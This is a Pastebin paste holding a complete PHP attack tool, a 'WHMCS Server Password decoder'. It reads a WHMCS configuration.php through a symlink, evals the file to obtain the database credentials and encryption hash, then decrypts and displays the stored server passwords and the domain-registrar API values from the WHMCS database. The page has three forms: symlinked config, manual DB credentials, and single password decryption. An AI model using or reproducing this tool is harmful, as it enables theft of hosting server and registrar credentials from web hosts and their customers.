Guest User

Untitled

a guest
May 1st, 2018
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.85 KB | None | 0 0
  1. <?php
  2.  
  3. ###########################################
  4. #      Coded By RAB3OUN                    #
  5. ###########################################
  6.  
  7.  
  8.  
  9. function decrypt ($string,$cc_encryption_hash)
  10. {
  11.  
  12.     $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  13.     $hash_key = _hash ($key);
  14.     $hash_length = strlen ($hash_key);
  15.     $string = base64_decode ($string);
  16.     $tmp_iv = substr ($string, 0, $hash_length);
  17.     $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  18.     $iv = $out = '';
  19.     $c = 0;
  20.     while ($c < $hash_length)
  21.     {
  22.         $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  23.         ++$c;
  24.     }
  25.  
  26.     $key = $iv;
  27.     $c = 0;
  28.     while ($c < strlen ($string))
  29.     {
  30.         if (($c != 0 AND $c % $hash_length == 0))
  31.         {
  32.             $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  33.         }
  34.  
  35.         $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  36.         ++$c;
  37.     }
  38.  
  39.     return $out;
  40. }
  41.  
  42.  
  43. function _hash ($string)
  44. {
  45.     if (function_exists ('sha1'))
  46.     {
  47.         $hash = sha1 ($string);
  48.     }
  49.     else
  50.     {
  51.         $hash = md5 ($string);
  52.     }
  53.  
  54.     $out = '';
  55.     $c = 0;
  56.     while ($c < strlen ($hash))
  57.     {
  58.         $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  59.         $c += 2;
  60.     }
  61.  
  62.     return $out;
  63. }
  64.  
  65.  if($_POST['form_action'] == 1 )
  66.  {
  67.  //include($file);
  68.  
  69.  $file=($_POST['file']);
  70. $text=file_get_contents($file);
  71.  
  72. $text= str_replace("<?php", "", $text);
  73. $text= str_replace("<?", "", $text);
  74. $text= str_replace("?>", "", $text);
  75.  
  76. eval($text);
  77.  
  78.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  79.         mysql_select_db($db_name,$link) ;
  80.  
  81. $query = mysql_query("SELECT * FROM tblservers");
  82.  
  83. while($v = mysql_fetch_array($query)) {
  84.  
  85. $ipaddress = $v['ipaddress'];
  86. $username = $v['username'];
  87. $type = $v['type'];
  88. $active = $v['active'];
  89. $hostname = $v['hostname'];
  90.  
  91. echo("<center><table border='1'>");
  92. $password = decrypt ($v['password'], $cc_encryption_hash);
  93. echo("<tr><td>Type</td><td>$type</td></tr>");
  94. echo("<tr><td>Active</td><td>$active</td></tr>");
  95. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  96. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  97. echo("<tr><td>Username</td><td>$username</td></tr>");
  98. echo("<tr><td>Password</td><td>$password</td></tr>");
  99.  
  100.  
  101. echo "</table><br><br></center>";
  102.  
  103. }
  104.  
  105.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  106.         mysql_select_db($db_name,$link) ;
  107.  
  108. $query = mysql_query("SELECT * FROM tblregistrars");
  109. echo("<center>Domain Reseller <br><table border='1'>");
  110. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  111. while($v = mysql_fetch_array($query)) {
  112.  
  113. $registrar  = $v['registrar'];
  114. $setting = $v['setting'];
  115. $value = decrypt ($v['value'], $cc_encryption_hash);
  116. if ($value=="") {
  117. $value=0;
  118. }
  119. $password = decrypt ($v['password'], $cc_encryption_hash);
  120. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  121.  
  122.  
  123.  
  124.  
  125.  
  126. }
  127. echo "</table><br><br></center>";
  128. }
  129.  
  130.  
  131.  
  132.  if($_POST['form_action'] == 2 )
  133.  {
  134.  //include($file);
  135.  
  136.  $db_host=($_POST['db_host']);
  137.  $db_username=($_POST['db_username']);
  138.  $db_password=($_POST['db_password']);
  139.  $db_name=($_POST['db_name']);
  140.  $cc_encryption_hash=($_POST['cc_encryption_hash']);
  141.  
  142.  
  143.  
  144.  
  145.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  146.         mysql_select_db($db_name,$link) ;
  147.  
  148. $query = mysql_query("SELECT * FROM tblservers");
  149.  
  150. while($v = mysql_fetch_array($query)) {
  151.  
  152. $ipaddress = $v['ipaddress'];
  153. $username = $v['username'];
  154. $type = $v['type'];
  155. $active = $v['active'];
  156. $hostname = $v['hostname'];
  157.  
  158. echo("<center><table border='1'>");
  159. $password = decrypt ($v['password'], $cc_encryption_hash);
  160. echo("<tr><td>Type</td><td>$type</td></tr>");
  161. echo("<tr><td>Active</td><td>$active</td></tr>");
  162. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  163. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  164. echo("<tr><td>Username</td><td>$username</td></tr>");
  165. echo("<tr><td>Password</td><td>$password</td></tr>");
  166.  
  167.  
  168. echo "</table><br><br></center>";
  169.  
  170. }
  171.  
  172.  
  173.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  174.         mysql_select_db($db_name,$link) ;
  175.  
  176. $query = mysql_query("SELECT * FROM tblregistrars");
  177. echo("<center>Domain Reseller <br><table border='1'>");
  178. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  179. while($v = mysql_fetch_array($query)) {
  180.  
  181. $registrar  = $v['registrar'];
  182. $setting = $v['setting'];
  183. $value = decrypt ($v['value'], $cc_encryption_hash);
  184. if ($value=="") {
  185. $value=0;
  186. }
  187. $password = decrypt ($v['password'], $cc_encryption_hash);
  188. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  189.  
  190.  
  191.  
  192.  
  193.  
  194. }
  195. echo "</table><br><br></center>";
  196. }
  197.  
  198.  
  199.  
  200.  
  201. ?><body bgcolor="#000000">
  202.  <style>
  203.  
  204. BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive;   color: white;}
  205. textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
  206. input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
  207. </style>
  208. <center>
  209. <font color="#FFFF6FF" size='+3'>[ WHMCS Server Password decoder ]</font><br><br>
  210. <font color="#0066FF" size='+2'>Symlink to configuration.php of WHMCS</font><br>
  211. </center>
  212. <FORM action=""  method="post">
  213. <input type="hidden" name="form_action" value="1">
  214. <br>
  215.  <input type="text" size="30" name="file" value="">
  216. <br>
  217. <INPUT class=submit type="submit" value="Submit" name="Submit">
  218. </FORM>
  219. <hr>
  220.  
  221. <br>
  222. <center>
  223. <font color="#0066FF" size='+2'>DB configuration of WHMCS</font><br>
  224. </center>
  225. <FORM action=""  method="post">
  226. <input type="hidden" name="form_action" value="2">
  227. <br>
  228. <table border=1>
  229.  
  230. <tr><td>db_host </td><td><input type="text" size="30" name="db_host" value="localhost"></td></tr>
  231. <tr><td>db_username </td><td><input type="text" size="30" name="db_username" value=""></td></tr>
  232. <tr><td>db_password</td><td><input type="text" size="30" name="db_password" value=""></td></tr>
  233. <tr><td>db_name</td><td><input type="text" size="30" name="db_name" value=""><td></tr>
  234. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  235.  
  236. </table>
  237. <br>
  238. <INPUT class=submit type="submit" value="Submit" name="Submit">
  239. </FORM>
  240. <hr>
  241. <center>
  242. <font color="#0066FF" size='+2'>Password decoder</font><br>
  243. <?
  244.  if($_POST['form_action'] == 3 )
  245.  {
  246.  
  247.  
  248.  
  249.  $password=($_POST['password']);
  250.  
  251.  $cc_encryption_hash=($_POST['cc_encryption_hash']);
  252.  
  253.  
  254. $password = decrypt ($password, $cc_encryption_hash);
  255.  
  256. echo("Password is ".$password);
  257.  
  258. }
  259. ?>
  260. </center>
  261. <FORM action=""  method="post">
  262. <input type="hidden" name="form_action" value="3">
  263. <br>
  264. <table border=1>
  265.  
  266. <tr><td>Password</td><td><input type="text" size="30" name="password" value=""></td></tr>
  267. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  268.  
  269. </table>
  270. <br>
  271. <INPUT class=submit type="submit" value="Submit" name="Submit">
  272. </FORM>
  273. <hr>
Add Comment
Please, Sign In to add comment